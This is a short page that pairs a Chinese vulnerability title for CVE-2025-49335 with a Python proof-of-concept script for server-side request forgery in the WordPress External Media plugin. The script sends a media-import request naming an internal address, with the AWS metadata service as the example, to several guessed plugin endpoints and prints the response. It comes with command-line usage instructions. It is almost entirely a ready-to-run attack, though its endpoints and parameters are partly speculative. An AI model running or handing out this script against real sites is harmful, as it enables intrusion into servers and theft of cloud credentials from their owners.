CVE-2025-49335 WordPress External Media插件服务端请求伪造漏洞

# CVE-2025-49335 SSRF PoC - WordPress External Media Plugin # Target: WordPress site with External Media plugin <= 1.0.36 import requests import sys from urllib.parse import quote def exploit_ssrf(target_url, target_internal_host): """ Exploit SSRF vulnerability in External Media plugin target_url: Base URL of WordPress site target_internal_host: Internal host to target (e.g., 169.254.169.254 for AWS metadata) """ # Construct malicious URL targeting internal resource ssrf_payload = f"http://{target_internal_host}/latest/meta-data/" # Try different parameter names commonly used in media plugins endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/external-media/v1/import", "/wp-admin/admin.php?page=external-media" ] for endpoint in endpoints: try: # Method 1: AJAX endpoint data = { 'action': 'external_media_import', 'media_url': ssrf_payload, '_wpnonce': '' # May need valid nonce } response = requests.post( target_url + endpoint, data=data, timeout=10, verify=False ) print(f"[*] Target: {target_url + endpoint}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200 and len(response.text) > 0: print(f"[!] Potential SSRF - Response received:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[!] Error targeting {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-49335.py <target_url> <internal_host>") print("Example: python cve-2025-49335.py http://example.com 169.254.169.254") sys.exit(1) target = sys.argv[1] internal_host = sys.argv[2] exploit_ssrf(target, internal_host)